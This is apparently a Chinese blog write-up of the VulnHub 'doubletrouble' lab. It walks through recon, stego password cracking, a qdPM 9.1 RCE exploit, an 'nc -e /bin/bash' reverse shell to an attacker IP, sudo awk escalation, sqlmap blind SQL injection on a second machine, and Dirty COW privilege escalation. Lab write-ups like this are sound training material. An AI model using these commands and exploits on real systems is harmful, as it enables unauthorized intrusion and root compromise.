vulnhub靶机 doubletrouble

靶机下载地址:下载链接

主机发现

因为在同一网段,所以直接用arp-scan -l 扫描,得到靶机ip地址
vulnhub靶机 doubletrouble_第1张图片

信息搜集

通过nmap进行信息搜集,得到开放端口22,80,并且有一个标题为qdPM
vulnhub靶机 doubletrouble_第2张图片
打开网页进行80端口的查看,发现只是一个登录页面
vulnhub靶机 doubletrouble_第3张图片
从中我们可以得到信息是关于qdPM9.1(一款基于Web的开源项目管理工具),从网上可以搜索到相关的命令执行漏洞,我们通过kali里面的searchsploit搜索一下,结果有可以利用的exp
vulnhub靶机 doubletrouble_第4张图片
接下来,直接将其两个可远程执行代码的exp拷贝下来,发现这两个的exp差不多,只是python的版本不一样,我们直接用第二个python3版本的代码,但是这个执行代码需要进行身份认证才能利用,所以还需要账号密码
通过前端的查找以及CMS源码的查找,发现原来的账号密码已经更改了,接下来用dirsearch扫描一下是否还有其他目录dirsearch -u http://ip
vulnhub靶机 doubletrouble_第5张图片
扫描之后,得到很多目录,一个一个查看之后,发现这个secret的目录里面的一张图片和靶机的名字一样,怀疑这里应该是突破点,所以用steghide查看一下图片信息,发现需要密码
vulnhub靶机 doubletrouble_第6张图片

漏洞利用

尝试用stegseek来爆破,让他输出为output
vulnhub靶机 doubletrouble_第7张图片
然后查看output,发现应该是登录的邮箱账号和密码
在这里插入图片描述
我们尝试登录,结果可以登陆进去,然后利用运行刚刚的exp,发现这个exp的格式不太准确,整理格式后就可以运行了,利用账号密码利用成功后,发现给我们生成了一个后门
vulnhub靶机 doubletrouble_第8张图片
在上传的目录中的users下可以发现我们上传的后门文件,输入id,返回成功
vulnhub靶机 doubletrouble_第9张图片
查看是否有nc
在这里插入图片描述
利用nc反弹nc -e /bin/bash 10.0.2.5 4444,得到shell
vulnhub靶机 doubletrouble_第10张图片
然后利用python升级shell

python -c 'import pty;pty.spawn("/bin/bash")'

vulnhub靶机 doubletrouble_第11张图片

权限提升

通过sudo查看,可以发现awk可以不需要密码而直接运用root权限,通过GTFobins里面的awk的sudo提权
vulnhub靶机 doubletrouble_第12张图片
从而得到root权限
vulnhub靶机 doubletrouble_第13张图片
在root目录下还有一个ova文件的靶机,接下来就需要把这个文件传入到kali上,然后再进行进一步打靶
可以利用python的http服务传输,也可以利用nc传输(-w 1表示传输完成后1秒就断开连接)
vulnhub靶机 doubletrouble_第14张图片
然后导入进虚拟机,通过arp-scan -l 发现导入成功
vulnhub靶机 doubletrouble_第15张图片
通过nmap扫描,发现也只开放了22,80端口
vulnhub靶机 doubletrouble_第16张图片
打开网页,发现就只有一个登录框,其他什么也没有
通过dirsearch扫描目录,额也没有其他目录。
尝试利用burp抓包来爆破一下,没有什么结果
然后,利用抓取的数据包用sqlmap来跑一下,发现参数uname可能存在注入
vulnhub靶机 doubletrouble_第17张图片
尝试看能不能得到数据库sqlmap -r 1.txt -p uname --dbms mysql --dbs --batch 发现得到了两个数据库,doubletrouble和information_scheam
vulnhub靶机 doubletrouble_第18张图片
显然,第一个数据库使我们想得到的,接着跑数据库里面的表
在这里插入图片描述
vulnhub靶机 doubletrouble_第19张图片
得到users表,接着跑列名
在这里插入图片描述
vulnhub靶机 doubletrouble_第20张图片
利用得到的账号密码尝试登录,发现居然不能登录,结合前面的22号端口的开放,尝试ssh登录,发现有一个账号可以登陆成功
vulnhub靶机 doubletrouble_第21张图片
发现并没有sudo命令,查看一下内核,结果是3.2版本的,这个版本存在脏牛提权
vulnhub靶机 doubletrouble_第22张图片
将脏牛提权的exp从网上下载下来https://github.com/FireFart/dirtycow/blob/master/dirty.c
然后利用nc传输到靶机中
vulnhub靶机 doubletrouble_第23张图片
将exp.c进行编译,编译完成之后将exp拷贝到/tmp目录下,给予执行权限,发现执行时需要输入密码(执行成功后,会自动创建一个用户firefart,这是设置它的登录密码123456)
vulnhub靶机 doubletrouble_第24张图片
成功之后,进行ssh登录,密码为123456
vulnhub靶机 doubletrouble_第25张图片
可以将其原来备份的/etc/passwd还原回去,并重新设置一下密码就可以以root账号登录
vulnhub靶机 doubletrouble_第26张图片
vulnhub靶机 doubletrouble_第27张图片

总结:通过网站发现是一个框架,查找CMS的账号和密码登录,发现已经被更改了,然后通过漏洞裤搜索,发现可以利用(但是需要登录),然后扫描目录,发现secret下的一张图片是关于靶机的提示,金星爆破密码得到登录账户密码,登陆成功后利用exp(这个exp就是登陆成功之后的温上传漏洞)得到靶机的www-data权限,通过查看sudo -l,发现awk没有密码可以直接以root权限使用,接下来利用https://gtfobins.github.io/里面的awk sudo提权成功,发现根本没有flag,发现root目录下还有靶机,于是就导入再次进行测试,最终发现登录框的参数存在SQL盲注,于是得到账号密码进行ssh登录成功,接着脏牛提权

你可能感兴趣的:(vulnhub,安全,web安全,linux)